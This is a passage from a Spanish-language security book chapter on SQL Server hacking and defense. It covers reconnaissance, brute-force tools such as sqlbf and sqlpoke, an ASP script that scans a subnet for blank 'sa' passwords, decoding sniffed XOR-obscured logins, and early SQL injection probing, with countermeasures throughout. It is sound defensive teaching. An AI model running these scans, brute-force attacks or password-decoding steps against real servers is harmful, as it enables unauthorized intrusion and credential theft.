alguna manera bajo la pantalla del radar. No se pretende decir que SQL Server no tiene su parte
de explotaciones (más bien, no ha recibido la atención de la prensa o la comunidad de los hac-
kers). Tal vez se deba a las relativamente pocas herramientas de parchado automatizadas de SQL
Server que están disponibles; o a los considerables conocimientos de SQL que se requieren para
atacar con éxito a SQL Server, lo que lo hace un poco más difícil de atacar, en relación con los
simples trucos de HTTP que a menudo son la raíz de las explotaciones de IIS.
Sin embargo, están empezando a aparecer herramientas y los atacantes han empezado a dar-
se cuenta de que aprender SQL puede arrojarles grandes beneficios, si lo que quieren es hurgar
en los almacenes de datos de las corporaciones. Ha llegado el momento de tomar nota de la
09_SCAMBRAY_09.indd 281 7/28/08 9:14:26 PM

seguridad de SQL Server y lo que podemos hacer para proteger nuestros recursos más valiosos.
¡Esta sección debe servirle como una llamada para despertarle!
Recopilación de información en SQL Server

Los atacantes más experimentados se tomarán el tiempo de reunir la mayor cantidad posible de
información acerca de un objetivo antes de hacer cualquier jugada directa. Su finalidad es ase-
gurarse de que el ataque de penetración real se concentre en las tecnologías correctas y no alerte
a los sistemas de detección de intrusiones al ser muy confiados. Además de los lugares obvios,
como el sitio Web público del destino (que suele ofrecer joyas como ofertas de trabajo para varias
disciplinas) o los diversos registros de nombre de dominio, los atacantes suelen cosechar una
gran cantidad de información acerca de casi todos los objetivos en cosa de minutos a partir de
una de las siguientes fuentes.
Búsquedas en grupos de noticias

Popularidad: 9
Simplicidad: 9
Impacto: 4
No importa lo bueno que sea como desarrollador, ni cuántos años lleve administrando ser-
vidores de Microsoft, invariablemente necesitará ayuda en algún momento. Es probable que el
primer lugar al que vaya para obtener parte de la ayuda (antes de que empiece a saturar al per-
sonal de soporte de Microsoft) son los grupos de noticias. Al pedir ayuda a otros, podría estar
divulgando detalles valiosos acerca de los tipos de tecnologías usadas en casa, los niveles de ha-
bilidad de las personas que las utilizan y posiblemente detalles de seguridad como cadenas de
conexión de objetos de datos de ActiveX (ADO, ActiveX Data Objects) o configuraciones del
modo de seguridad de SQL Server.
Hackeo de Google
Popularidad: 7
Simplicidad: 8
Impacto: 6
Un lugar común para encontrar estos detalles son los motores de búsqueda y depósitos de
grupos de noticias como www.google.com, donde puede realizar búsquedas detalladas sobre
posibles destinos. Una táctica común consiste en identificar todos los mensajes publicados por
usuarios con un nombre de dominio específico, y luego concentrarse en artículos que, al parecer,
contienen información técnica detallada acerca de los tipos de base de datos, configuraciones de
seguridad o problemas de seguridad específicos de la aplicación.
Si alguien de su empresa ha hecho una publicación en un grupo de noticias relacionada con
SQL Server, debe sacarla a la luz. Eche un vistazo al mensaje y vea qué tipo de información está
flotando ante la vista de posibles atacantes.
09_SCAMBRAY_09.indd 282 7/28/08 9:14:28 PM

Otra información posiblemente peligrosa en Google incluye cadenas de conexión, campos

ocultos de formularios, páginas Web vulnerables de ejemplo y páginas de administración que el
motor de búsqueda sería lo suficientemente amable como para catalogar e indizar para los posi-
bles atacantes. Además, como Google está revisando en forma constante sitios en busca de nue-
vo contenido, puede utilizarse como una manera rápida para que los atacantes examinen
minuciosamente su sitio en busca de datos privados.
Pruebe esto con su compañía:
1. Navegue a la página Web de www.google.com.
2. En el cuadro de búsqueda escriba site:sudominio.com filetype:inc
3. Haga clic en Buscar.
Si su sitio utiliza archivos incluidos para almacenar cadenas de conexión u otros datos, los
atacantes pueden encontrar rápidamente esta información. Casi todos los tipos de datos (.doc,
.xls, .pdf, etc.) pueden consultarse de esta manera para divulgar código fuente u otro contenido
privado. Sea especialmente consciente de los editores de texto que guardan copias de seguridad
de sus archivos de aplicaciones Web. Un archivo web.config.bak podría divulgar inadvertida-
mente las cadenas de conexión, claves de sesión y otros secretos preciosos de su sitio.
Nota No estamos desalentando a nadie para que use los grupos de noticias o los foros de ayuda o ni
estamos diciéndole que le tema a Google, pero debe tomar en consideración que cualquier cosa que
publique podría existir por siempre y cualquier persona podría verlo en cualquier momento. El
conocimiento puede utilizarse para hacer el bien o el mal. Suponga que todo el contenido de sus
servidores Web de acceso anónimo es legible para los demás. No sólo porque dude que alguien se
vincule al contenido no significa que está a salvo.
Rastreo de puertos
Popularidad: 10
Simplicidad: 10
Impacto: 6
El rastreo de puertos se ha vuelto tan común que casi ningún administrador de seguridad tie-
ne el tiempo ni la inclinación a investigar cada rastreo de puertos que aparece en los registros de la
firewall. Por fortuna, si ésta se encuentra configurada apropiadamente, un rastreo de puertos ren-
dirá pocos frutos para el atacante. Sin embargo, en muchos casos, los administradores de seguri-
dad dejarán abiertos puertos de SQL Server para desarrolladores o empleados remotos que acceden
a las bases de datos relacionales del cliente. Este error trágico puede ser una ventaja para los aspi-
rantes a hackers de SQL Server, y puede apostar hasta su último dólar que lo están buscando.
Un rastreo de SQL Server empieza con un barrido de todas las direcciones IP asignadas a la
víctima en el puerto TCP 1433. Se trata del puerto de escucha predeterminado de un servidor
SQL que escucha en las bibliotecas de red de conexiones TCP/IP, y suele ser una prueba positiva
de una instalación de SQL Server, porque esta netlib está instalada como opción predeterminada
en casi todas las ediciones de SQL Server. Si ve barridos del puerto 1433 en sus registros del en-
rutador externo o la firewall, puede apostar a que alguien está tratando de localizar servidores
de SQL en su organización.
09_SCAMBRAY_09.indd 283 7/28/08 9:14:29 PM

sugerencia
Debe tomarse en cuenta que desde Windows XP SP2 la Firewall de Windows está habilitada como
opción predeterminada, limitando el número de estaciones de trabajo de desarrollador y otras
instalaciones de bajo perfil expuestas. Sin embargo, como los usuarios pueden crear fácilmente
excepciones para permitir conexiones entrantes de SQL, no debe suponer que no se trata de una
amenaza importante. Active Directory tiene algunas excelentes configuraciones para bloquear
configuraciones de la Firewall de Windows, IPSec, o ambas en equipos de miembros de dominio y
es muy recomendable que estas configuraciones se utilicen para evitar exposición innecesaria.
SQLPing
Popularidad: 8
Simplicidad: 10
Impacto: 5
Otra técnica de recopilación de información es el uso de la herramienta SQLPing, de Chip

Andrews. Debido a que SQL Server soporta varias instancias, es necesario que el servidor co-
munique al cliente los detalles de cada instancia de SQL Server que existen en ese servidor. Esta
herramienta usa el mecanismo de descubrimiento inherente de SQL Server (desde SQL 2000)
para consultar el servidor en busca de información detallada acerca de las capacidades de co-
nectividad del servidor y lo despliega para el usuario. El servicio de resolución de SQL, o el
servicio Explorador de SQL, como se le denomina ahora, opera en UDP 1434. Pueden enviarse
consultas como paquetes de transmisión a subredes específicas, de modo que en muchos casos,
donde la seguridad de la firewall es laxa, ¡es posible consultar subredes completas con un solo
paquete!
Una solicitud de muestra de SQLPing que descubrió dos instancias de un solo hosts tiene
este aspecto:
C:\tools>sqlping 192.168.1.255
SQL-Pinging 192.168.1.255
Listening....
ServerName : POPEYE
InstanceName : MSSQLSERVER
IsClustered : No
Version : 8.00.194
np : \\POPEYE\pipe\sql\query
tcp : 1433
ServerName : POPEYE
InstanceName : SQL2005
IsClustered : No
Version : 9.00.2047.00
tcp : 2296
Como puede ver, un paquete de respuesta de SQLPing contiene la siguiente información:
• Nombre de SQL Server

• Nombre de instancia (MSSQLServer es la instancia predeterminada)
09_SCAMBRAY_09.indd 284 7/28/08 9:14:30 PM

• Estado del grupo (¿el servidor es parte de un grupo?)

• Versión (sólo devuelve la versión base, pero es fácil identificar instalaciones de SQL
Server 2000 y SQL Server 2005)
• Detalles de soporte a netlib (incluidos puertos TCP, nombres de canalizaciones,
etcétera)
En realidad, encontrará que aunque un administrador precavido haya cambiado el puer-

to TCP predeterminado de un servidor SQL que escucha en conexiones TCP/IP, un atacante
que utiliza SQLPing puede preguntar fácilmente al servidor adónde se movió el puerto. La
información aportada por SQLPing también puede identificar objetivos particularmente ju-
gosos, como los que usan tecnología de clúster para alta disponibilidad (y esos sistemas sue-
len ser críticos para la misión). Toda esta fuga de información ayuda a los atacantes y podría
llevar al desastre para su instalación de SQL Server si cae en las manos equivocadas. La de-
fensa obvia contra esta herramienta consiste en bloquear el UDP 1434 entrante a sus servido-
res SQL o deshabilitar el servicio Explorador de SQL (lo que ha sido posible desde SQL Server
2005).
SQLRecon
SQLPing fue una excelente herramienta para encontrar instalaciones de SQL Server 2000, pero
sólo funcionaba en ciertos entornos. ¿Qué pasaba si una firewall estaba bloqueando el UDP
1434? ¿Qué pasaba si SQL Server 2005 estaba instalado y el servicio Explorador de SQL se ha-
llaba deshabilitado? ¿Qué pasaba si el servicio MSSQLServer estaba establecido para inicio
manual y no se ejecutaba en el momento de un rastreo? Todos estos escenarios daban como
resultado falsos negativos. Debido a que estaban disponibles otros medios de detección, Chip
Andrews decidió combinar todos estos métodos en una herramienta llamada SQLRecon (figu-
ra 9-2).
SQLRecon puede detectar servidores de SQL bajo diversas condiciones y estados. Por ejem-
plo, si no le preocupa alertar a los hosts de un rastreo activo, están disponibles los siguientes
métodos de rastreo:
• Resolución de servidor de SQL/Explorador de SQL (UDP 1434 como SQLPing)

• Registro de Windows
• Instrumentación de administración de Windows (WMI)
• Rastreo TCP
• Administrador de control de servicios
• Intento forzado de inicio de sesión (en caso de un protocolo que no sea TCP/IP)
Además, si su rastreo necesita ser un poco más discreto, puede elegir entre dos opciones “de
sigilo” que no se ponen en contacto directo con el host de destino:
• Servicio Explorador
• Active Directory
SQLRecon requiere .NET Framework para su ejecución en el host. No es necesario que esté
instalado en ninguna máquina de destino.
09_SCAMBRAY_09.indd 285 7/28/08 9:14:31 PM

Figura 9-2 SQLRecon usa varios métodos para encontrar los servidores de SQL en la red
Herramientas y técnicas de hackeo en SQL Server

Una vez que se ha encontrado SQL Server en una red, los hackers pueden utilizar herramientas
y técnicas comunes para ponerlo de rodillas, que toman en cuenta la seguridad. Este análisis se
divide en dos partes: en la primera se cubren las utilerías de consulta básicas de SQL y en la se-
gunda se tratan las herramientas serias de hackeo de SQL. Termina con una sección sobre olfateo
de contraseñas de SQL Server fuera de la red.
Utilerías básicas de consulta SQL

Varias herramientas se incluyen con la suite de utilería oficial de SQL Server o están disponibles
en versiones gratuitas, descargables, con casi la misma funcionalidad. Están diseñadas para ha-
cer consultas y comandos simples contra SQL, pero como casi todo el software legítimo, los ata-
cantes pueden utilizarlos con grandes efectos. Con los años, Microsoft ha cambiado a menudo
los nombres de varias herramientas que se incluyen con SQL Server, lo que causa mucha confu-
sión. Para que este texto sea más legible, sólo estamos usando los nombres más recientes de estas
herramientas, pero esta tabla debe permitirle la correlación de los nombres de las herramien-
tas con base en la versión de SQL Server que está utilizando.
09_SCAMBRAY_09.indd 286 7/28/08 9:14:32 PM

SQL Server 2005 SQL Server 7/2000 Descripción

Management Studio Administrador Principal herramienta de
corporativo y Analizador administración y desarrollo de SQL
de consultas Server
sqlcmd osql/isql Interfaz de línea de comandos para
ejecutar consultas SQL
Configuration Utilería de red de cliente Herramienta para configurar
Manager y Utilería de red de bibliotecas de red de cliente y
servidor servidor
Asistente para la Solía ser parte del Herramienta para análisis de
optimización de motor Analizador de consultas rendimiento automatizado
de base de datos
SQL Server Express Microsoft Data Engine Versión gratuita del motor de base
Edition (MSDE) de datos de SQL Server limitado a
2GB por base de datos
SQL Server Management Studio Lanzada con SQL Server 2005, la más nueva herramienta de
cliente de GUI para SQL Server es el SQL Server Management Studio. Es la sucesora de las he-
rramientas Analizador de consultas y Administrador corporativo que existían en versiones an-
teriores de SQL Server.
El uso de esta herramienta se explica por sí solo, pero vale la pena mencionar que una ver-
sión gratuita es probable que la vuelva muy ubicua. La Express Edition del SQL Server Manage-
ment Studio (figura 9-3) puede descargarse directamente de Microsoft. Puede administrar un
motor de base de datos desde cualquier edición de SQL Server 2005 pero no funciona con Analy-
sis Services, Integration Services, Notification Services, Reporting Services, Agente de SQL Ser-
ver o SQL Server 2005 Mobile Edition.
sqlcmd La vida sería demasiado fácil si todo se realizara con las herramientas gráficas de seña-
lar y hacer clic, así que pensamos que debemos mencionar que, sí, la utilería de cliente oficial de
Microsoft SQL incluye una herramienta de línea de comandos llamada sqlcmd.exe. Se descarga
gratuitamente de Microsoft y está localizado en el SQL Server 2005 Feature Pack. Requiere el
Native Client de Microsoft SQL Server Management Studio pero, como tiene suerte, también se
incluye en el Feature Pack
Sqlcmd le permite enviar instrucciones T-SQL, procedimientos almacenados y archivos de
secuencias de comandos a un servidor de destino. Por tanto, para todos los fines y propósitos,
actúa de manera muy parecida a la versión en línea de comandos de Management Studio que
acepta muy bien las secuencias de comandos. Escriba sqlcmd -? en el indicador de comandos
para ver una referencia de sintaxis.
Nota Antes de SQL Server 2005, la herramienta para línea de comandos de SQL Server se llamaba
osql.exe y se incluía en todas las ediciones de SQL Server.
Herramientas avanzadas para hackear SQL

¿Cuáles herramientas y técnicas podría usar un atacante para ganar acceso a sus servidores?
Casi podemos garantizar que no va a ser una de las mencionadas, a menos que sea masoquista
09_SCAMBRAY_09.indd 287 7/28/08 9:14:32 PM

Figura 9-3 SQL Server Management Studio Express es gratuito y ubicuo
o extremadamente nuevo en el juego. Los atacantes con experiencia pronto encuentran maneras
para automatizar sus explotaciones con el fin de identificar los frutos más fáciles de alcanzar y
obtener rápidamente lo que desean.
Aunque no son tan prolíficas como la gran cantidad de opciones que existen para hackear
Windows Server o IIS, algunas herramientas están diseñadas específicamente para ir tras SQL
Server. Casi todas estas herramientas son lo suficientemente pequeñas para ser excelentes adi-
ciones al juego de herramientas del atacante (o el profesional de la seguridad) cuando se ataca
servidores IIS sin parches. Debido a que muchos de estos servidores actúan como middleware
entre el cliente y el servidor SQL que se espera que incluya una firewall, un servidor IIS compro-
metido es la plataforma de lanzamiento perfecta para un ataque en la madre de todas las con-
quistas Web: los datos. Echemos un vistazo a algunas de las herramientas en existencia para
hackear SQL Server.
SQLPing 3 SQLPing 3 combina las técnicas de rastreo encontradas en SQLRecon con una utile-
ría de rompimiento de contraseñas de SQL Server de fuerza bruta. Es una buena apuesta para
auditar subredes completas de contraseñas de SQL Server en su organización, porque soporta
rangos de IP y listas de IP.
SQLPing 3 ilustra, en la figura 9-4, que casi cualquiera puede atacar servidores SQL expues-
tos sin el más ligero conocimiento de netlibs, cadenas de conexión o software especial de cliente.
El hackeo de SQL es ahora una operación de apuntar y hacer clic, y si uno solo de los servidores
de su organización está expuesto, sólo habrá que esperar a ver cuándo se abre una brecha en ella.
09_SCAMBRAY_09.indd 288 7/28/08 9:14:33 PM

Figura 9-4 SQLPing3 le permite rastrear servidores SQL y realizar ataques de fuerza bruta
SQLPing 3 fue diseñado por profesionales de seguridad con el fin de auditarse a sí mismo (no
como herramienta de hackeo, aunque ciertamente puede utilizarse para este fin).
sqlbf Esta herramienta de descubrimiento de contraseñas de SQL Server de fuerza bruta, de xa-
phan, usa listas de palabras, listas de contraseñas y direcciones IP para ayudar al hacker eficien-
te de SQL a gastar tiempo en tareas más interesantes mientras sus servidores son puestos de
rodillas. Sqlbf también le da al hacker la opción de usar una conexión de canalizaciones con
nombre para su ataque, pero debe tomarse en cuenta que éstas iniciarán una conexión NetBIOS
de Windows y estarán sujetas a registro, además del registro estándar de SQL Server (si está ha-
bilitado). Sqlbf puede utilizarse de la manera siguiente:
C:\>sqlbf
Usage: sqlbf [ODBC NetLib] [IP List] [User list] [Password List]
ODBC NetLib : T - TCP/IP, P - Named Pipes (netBIOS)
IP list - text file containing list of IPs to audit
User list - text file containing list of Usernames
Password List - text file containing list of passwords
Esta herramienta no sólo es útil para romper la contraseña de la cuenta sa, sino que también
puede encontrar otras cuentas que podrían contener privilegios administrativos del sistema y
que podrían estar, de alguna manera, menos protegidas. Tenemos una larga lista de usuarios que
no sólo contiene sa sino también nombres de usuario como prueba, admin, des, sqlagent y otros
nombres comunes que podrían aparecer durante alguna fase del desarrollo y se olvidaron.
09_SCAMBRAY_09.indd 289 7/28/08 9:14:34 PM

Entre algunos de los nombres de cuenta más populares para un servidor de SQL se incluyen
éstos:
• sa
• sql_usuario
• sqlusuario
• sql
• sql-usuario
• usuario
• sql_cuenta
Use su imaginación a partir de este punto. No olvide probar variaciones del nombre de la em-
presa, además de nombres de aplicaciones, si cuenta con esa información. Tome en cuenta que
esta herramienta no funciona con varias instancias, porque sólo pregunta direcciones IP y no
nombres de servidor ni puertos TCP.
sqlpoke Para el aspirante a hacker de SQL Server que prefiere el método de la escopeta, está
sqlpoke, también de xaphan. Esta herramienta no trata de romper las contraseñas de cuentas
sino que busca servidores SQL Server donde la contraseña esté en blanco. Cuando se encuentra
un servidor en que la contraseña de la cuenta sa está en blanco (algo que pasa con una frecuencia
aterradora, por diversas razones), ejecuta una secuencia de comandos predefinida de hasta 32
comandos. Esto permite a un posible atacante premeditar la intrusión para incluir un juego de
herramientas posiblemente de TFTP y ejecutar un caballo de Troya o lo que se desee de manera
masiva.
Tome en cuenta que sqlpoke también da al usuario la capacidad de seleccionar un puerto
personalizado. Además, la herramienta está limitada a rastrear un rango de direcciones IP de
red de clase B, cuando mucho. Esta herramienta debe producir miedo en los corazones de quie-
nes continuamente usan contraseñas de la cuenta sa en blanco, para que no se moleste a los de-
sarrolladores ociosos con preguntas. Podemos imaginar cientos de servidores comprometidos
que son resultado de ejecutar el siguiente ejemplo:
Sqlpoke 10.0.0.0 10.0.254.254 1433 (secuencia de comandos para alertar al

hacker e instalar caballos de Troya)
¡Duerma tranquilo!
Páginas Web personalizadas En ocasiones los atacantes preferirán no rastrear directamente des-
de sus máquinas personales, sino aprovechar hosts previamente comprometidos para hacer el
trabajo sucio. Un método para hacer esto consiste en diseñar una página personalizada de Acti-
ve Server Pages (ASP) en un host lo suficientemente comprometido o un servicio libre de host
para realizar el hackeo. La belleza de este método es que el atacante puede realizar penetracio-
nes de otros sistemas mientras hace que el sistema que hospeda a ASP parezca el culpable.
Todo lo que un atacante necesita hacer para preparar este ataque es construir una página
ASP personalizada que invoque los objetos de datos ActiveX (ADO, ActiveX Data Objects) de
Microsoft. Empleando ADO, el atacante puede especificar el tipo de controlador que se usará, el
nombre del usuario, la contraseña e incluso el tipo de netlib requerido para alcanzar el destino.
A menos que el ISP esté realizando algún nivel de filtro de egresos, el servidor en que se está eje-
cutando la página ASP debe iniciar la conexión deseada y proporcionar retroalimentación al
09_SCAMBRAY_09.indd 290 7/28/08 9:14:35 PM

atacante. Una vez que se encuentra un host comprometido, el atacante queda libre de usar co-
mandos para la víctima a través de host convertido en cómplice involuntario.
Para demostrarlo, en la figura 9-5 se muestra un ejemplo de rastreo de SQL Server con ASP,
que usa el siguiente código fuente para rastrear una red interna.
<% <Rresponse.buffer = true

Server.ScriptTimeOut = 3600 %>\>
<html>
<head>
<title>SQL Server Audit Results</title>
</head>
<body>
<h1 align"center">SQL Server Security Analysis</h1>
<h2>Scanning.....</h2>
<h3>Attempting sa account penetration</h3>
<% for i 1 to 254 <R nextIP = "192.168.1." & i %>\>
<p>Connecting To Host <%nextP%>....<br>
<% <R response.flush
on error resume next
Conn = "Network=dbmssocn,1433;Provider=SQLOLEDB.1;User ID=sa;pwd=;Data
Source=" & nextIP
Set oConn = Server.CreateObject("ADODB.Connection")
oConn.Open Conn
If (oConn.state = 0) Then
Response.Write "<br><>Failed to connect<0x000A></>"
Response.Write "Reason: " & err.description & "<br><br>"
else
Response.Write "<>Connected!</><br><br>"
Response.Write "<>SQL Server version info:</><br>"
sqlStr = "SELECT @@version"
Set sqlObj = oConn.Execute(sqlStr)
response.write sqlObj(0)
end If
next
%>\>
<strong> </p>
<p>** End of Analysis ** </strong></p>
</body>
</html>
Sería trivial convertir la secuencia de comandos anterior para que realice ataques de fuerza
bruta o posiblemente ataques de diccionario, al cargar su archivo de diccionario favorito y luego
usar FileSystemObject (bien documentado en la documentación y los ejemplos de IIS) para for-
talecer su juego de herramientas de SQL Server basado en ASP. Observe que, además de netlib,
podemos especificar parámetros como el puerto TCP, de modo que es posible rastrear una má-
quina en busca de diferentes puertos, también. Para forzar otras netlibs, puede reemplazar el
parámetro network= con uno de los siguientes valores de biblioteca de red:
09_SCAMBRAY_09.indd 291 7/28/08 9:14:36 PM

Memoria compartida Dbmsshrn

Varios protocolos Dbmsrpcn (retirado en SQL 2005)
Canalizaciones con nombre Dbnmpntw
Conexiones TCP/IP Dbmssocn
IPX/SPX de Novell Dbmsspxn (retirado en SQL 2005)
Banyan VINES Dbmsvinn (retirado en SQL 2005)
También debe tomarse en cuenta que ASP no es un prerrequisto para este tipo de ataque. El
mismo podría realizarse desde un servidor Apache que ejecute PHP o una secuencia de coman-
dos personalizada de Perl, para el caso.
Lo importante es que las herramientas de cliente de SQL son ligeras y ubicuas. Nunca supon-
ga que las únicas armas de un atacante son las herramientas que se incluyen con SQL Server.
El posible hacker de SQL Server no carece de armas y tecnologías como ayuda para comple-
tar su tarea. Por arriba de todo esto, tenga en cuenta que SQL Server tiene un registro débil (li-
geramente mejorado en SQL 2005 porque ahora sabemos cuál es la dirección IP remota) y aunque
de alguna manera perciba que está ocurriendo un ataque de fuerza bruta en su servidor, los
registros de SQL Server proporcionarán poca información útil. Asegúrese de darse tiempo de
probar estas herramientas contra sus servicios antes de que lo hagan los chicos malos.
Figura 9-5 Una página ASP personalizada rastrea una red en busca de servidores SQL
09_SCAMBRAY_09.indd 292 7/28/08 9:14:37 PM

Olfateo de paquetes en busca de contraseñas de SQL Server

Microsoft ha visto la manera de incluir soporte a SSL para todos los tipos de conectividad en sus
productos, con buenas razones. Sin cifrado, una autentificación de usuario que usa inicios de
sesión nativos de SQL Server está transmitiendo su contraseña en texto simple en la red.
Si alguna vez ha usado un olfateador de paquetes para monitorear las comunicaciones entre
un cliente y un servidor, tal vez se haya desalentado al ver que su contraseña recorre todo el ca-
bleado a la vista de todos.
Como puede ver en la figura 9-6, se hizo un intento de iniciar sesión como usuario sa, pero
la contraseña parecía un poco alterada, después de todo. Sin embargo, eche un vistazo al patrón.
Cada tercer byte en la sección es un A5 (hex). Debe sospechar por ahora que algo está pasando
allí, menos cifrado (y tendrá razón). En lugar de seguir a oscuras, revisaremos todo y demostra-
remos que no hay nada allí, excepto un simple esquema XOR para complicar la contraseña.
Empecemos por dividir la contraseña byte por byte (y por bit). El primer dígito hexadecimal
(A, por ejemplo) es equivalente al 1010 binario. Para obtener la contraseña, simplemente inter-
cambiamos el primero y el segundo dígitos hexadecimales de cada byte (esto se debe a la codi-
ficación de Unicode) y utilizamos XOR en la representación binaria de la contraseña con 5A (sí,
es A5 invertido). El cálculo resultante revelará la representación hexadecimal de la contraseña
real, como se muestra en la tabla 9-2.
Figura 9-6 Captura de los paquetes de autentificación de SQL Server que muestra la contraseña a la
que se le aplicó XOR
09_SCAMBRAY_09.indd 293 7/28/08 9:14:38 PM

Hexadecimal A2 B3 92 92
Dígitos intercambiados 2A 3B 29 29
Binario 0010 1010 0011 1011 0010 1001 0010 1001
5A en binario 0101 1010 0101 1010 0101 1010 0101 1010
Resultado de XOR 0111 0000 0110 0001 0111 0011 0111 0011
Hexadecimal 70 61 73 73
contraseña
Contraseña p a s s
Tabla 9-2 Conversión completa de credenciales capturadas en texto simple
Como puede ver en la tabla 9-2, una vez que conoce la técnica, la obcecación es poco más que
una molestia. Tenga en cuenta que esta técnica funciona en cualquier netlib que transfiere datos
en la red, siempre y cuando no esté habilitado el cifrado. Cualquier olfateo de contraseñas desde
una transmisión no cifrada puede convertir fácilmente la contraseña en texto simple e iniciar se-
sión en su servidor sin problemas. Si decodificar las contraseñas manualmente es mucho trabajo,
una herramienta gratuita llamada Cain & Abel puede usarse para olfatear las contraseñas de
SQL Server y decodificarlas por usted.
El uso de netlibs cifradas es absolutamente esencial si las contraseñas y los datos se transfe-
rirán en una red y son sujetos de espionaje. Si instala un certificado en el servidor, SQL Server
cifrará automáticamente las contraseñas, aunque no esté usando una netlib cifrada. Si está usan-
do SQL Server 2005 y no ha instalado un certificado, SQL Server creará un certificado autofir-
mado por usted, aunque eso no proporcionará autentificación de servidor ni repudio.
Contramedidas al olfateo de paquetes de SQL Server

Como podría esperar, la manera de evitar el olfateo es cifrar el tráfico entre hosts. Algunos suge-
rirían que las redes conmutadas podrían resolver el problema, pero como hay muchas otras ma-
neras de subvertirlas, el cifrado aún es el único método probado para proteger sus datos en el
tránsito. En la tabla 9.3 se muestran varias posibilidades de hacer esto.
09_SCAMBRAY_09.indd 294 7/28/08 9:14:39 PM

Técnica de cifrado Pros Contras

de transmisión
Implementación —Puede proyectar todas —Configuración compleja para la
de IPSec las comunicaciones entre mayoría de los administradores y
hosts –No requiere cambios desarrolladores de bases de datos
a SQL Server de SQL
—Requiere privilegios
administrativos en los hosts para
establecerse
Exigencia de —Criptografía sólida —Configuración compleja para
cifrado de —Funciona sobre todos los quienes no tienen experiencia en
protocolo (sólo netlibs el establecimiento de certificados
SQL Server —En SQL 2005, sin un certificado
2000/2005) válido aún obtiene cifrado pero no
autentificación o no repudio.
Tabla 9-3 Opciones de cifrado de datos entre servidores y clientes de SQL Server
Develamiento del origen desde servidores Web

Una realidad trágica relacionada con la seguridad es que las vulnerabilidades son en ocasio-
nes como fichas de dominó: las fallas de un sistema pueden tirar las defensas que de otra
manera serían poderosas en sistemas totalmente diferentes. En el desarrollo de aplicaciones
de SQL Server, sobre todo en el caso de aplicaciones Web, es necesario almacenar una cade-
na de conexión de modo que la aplicación sepa cómo conectarse al servidor. Por desgracia,
esto puede ser un manjar si el servidor Web revela la cadena de conexión a un usuario no
autorizado.
Con los años, hemos visto varias vulnerabilidades de develamiento de código fuente en
IIS y otros servidores Web. Muchas veces, el develamiento se debe a uno de los errores ya
mencionados, y otras veces a malas prácticas de seguridad. Un ejemplo de esto es el alma-
cenamiento de cadenas de conexión en archivos incluidos con una extensión como .inc o
.src. Un usuario no autorizado puede simplemente explorar el sitio en busca de connect.inc
o cualquier cantidad de variantes, y cuando encuentre el archivo, se verá recompensado con
la cadena de conexión que el servidor está utilizando para conectarse a SQL Server.
09_SCAMBRAY_09.indd 295 7/28/08 9:14:40 PM

Si la aplicación está utilizando inicios de sesión nativos de SQL Server, también verá el nom-
bre de usuario y la contraseña. La solución obvia para este problema es asignar nombre a
todos los archivos incluidos con la extensión .asp o .aspx (para servidores IIS) para que sean
sujetos de procesamiento del lado del servidor, como todos los demás archivos y también
eliminar los posibles archivos de copia de seguridad (.bak o .old), posiblemente generados
por editores de texto.
La moraleja de esta historia es que debe suponer que, en algún momento, alguien termi-
nará viendo sus contraseñas. Haga lo que puede para aislar el servidor SQL para que un
develamiento de origen no siempre dé como resultado una brecha completa de seguridad.
Además, debe tomar en consideración el uso de autentificación de Windows para sus co-
nexiones de SQL Server (a pesar de que en algunos casos su configuración es más compleja),
porque eso significa que no se tienen que incluir nombres de usuario ni contraseñas en ca-
denas de conexión.
Ataques de inyección de SQL

Hasta este punto, nos hemos concentrado principalmente con casos en que un atacante tiene ac-
ceso directo a SQL Server. Sin embargo, como cada vez son más comunes la ubicuidad de la Fi-
rewall de Windows, la falta de activación predeterminada de las bibliotecas de red de SQL Ser-
ver 2005 en ediciones de escritorio y la mayor conciencia en relación con la seguridad por parte
de los administradores de red, parece que el acceso directo es un lujo. Los ataques de inyección
de SQL son una forma diferente de ataque; en ellos, un atacante obtiene acceso al SQL Server a
través de medios indirectos, como una aplicación Web, un servicio Web o incluso mensajería ins-
tantánea o correo electrónico.
La inyección de SQL se describe mejor como la capacidad de inyectar, en una aplicación exis-
tente, comandos de SQL que el desarrollador nunca previó. Algo que se debe recordar mientras
se lee esta sección es que este tipo de ataque no está limitado a SQL Server. Con estas técnicas
puede afectarse, en un grado u otro, a casi cualquier base de datos que acepte comandos SQL.
También debe tomarse nota de que la inyección de SQL es un problema de la aplicación, no del
servidor de la base de datos. Si la inyección ocurre en una página ASP de un sitio Web o en un
procedimiento almacenado en el propio SQL Server, casi todas las vulnerabilidades de inyección
de SQL son resultado de una mala validación de entrada por parte del programador.
Los efectos de un ataque de inyección de SQL que alcanza el éxito pueden ir desde el deve-
lamiento de datos que de otra manera serían inaccesibles hasta el compromiso completo del ser-
vidor host. Para alcanzar el éxito, un atacante en realidad sólo necesita hacer tres cosas para
realizar un ataque de inyección de SQL:
• Descubrir una vulnerabilidad de inyección de SQL

• Investigar y derivar SQL existente
• Construir código de inyección de SQL
Descubrimiento de la vulnerabilidad de inyección de SQL

Un posible atacante por lo general probará aplicaciones Web o servicios Web al ingresar una sola
comilla en campos de texto, numéricos o de datos y revisará los mensajes de error después
de enviarlos. La razón por lo que esto es peligroso se debe a que una sola comilla es el carácter
09_SCAMBRAY_09.indd 296 7/28/08 9:14:41 PM

identificador/terminador de cadena en SQL Server. La inserción de una sola comilla adicional

causará que la cadena se forme de manera inapropiada y generará un error como “Comilla de
cierre faltante antes de la cadena de caracteres”. Esto no siempre alcanza el éxito, porque los bue-
nos desarrolladores tienden a ocultar a los usuarios finales las fallas de las bases de datos, pero
es más frecuente que un usuario reciba un horrible error ODBC u OLE DB cuando la comilla ha
hecho milagros.
Los tres errores generados más comunes son:
• Comilla de cierre faltante antes de la cadena de caracteres (desde SQL Server)

• Error interno del servidor (desde el servidor Web)
• Error de sintaxis (desde SQL Server)
Los atacantes persistentes probarán los campos numéricos para determinar si también acep-
tarán datos de texto. Los datos de texto no válidos que regresan al servidor de SQL probable-
mente desplegarán un mensaje de error “Sintaxis incorrecta cerca de” o “Nombre de columna
incorrecto” y alertarán al atacante de que tal vez sean posibles explotaciones adicionales. El pe-
ligro de los campos numéricos mal validados recae en el hecho de que no es necesario manipular
comillas simples para inyectar el código. Las instrucciones SQL mal construidas simplemente
adjuntarán el código de un atacante en comandos SQL que serían legítimos y harán magia.
Análisis de vulnerabilidades temporales Si el desarrollador de la aplicación ha hecho un buen traba-

jo de manejo de excepciones, entonces es muy probable que no obtendrá un mensaje de error de
ningún comportamiento extraño. En esos casos, puede realizar un “análisis temporal” para deter-
minar si una inyección tuvo éxito. Simplemente use el comando T-SQL WAITFOR DELAY para
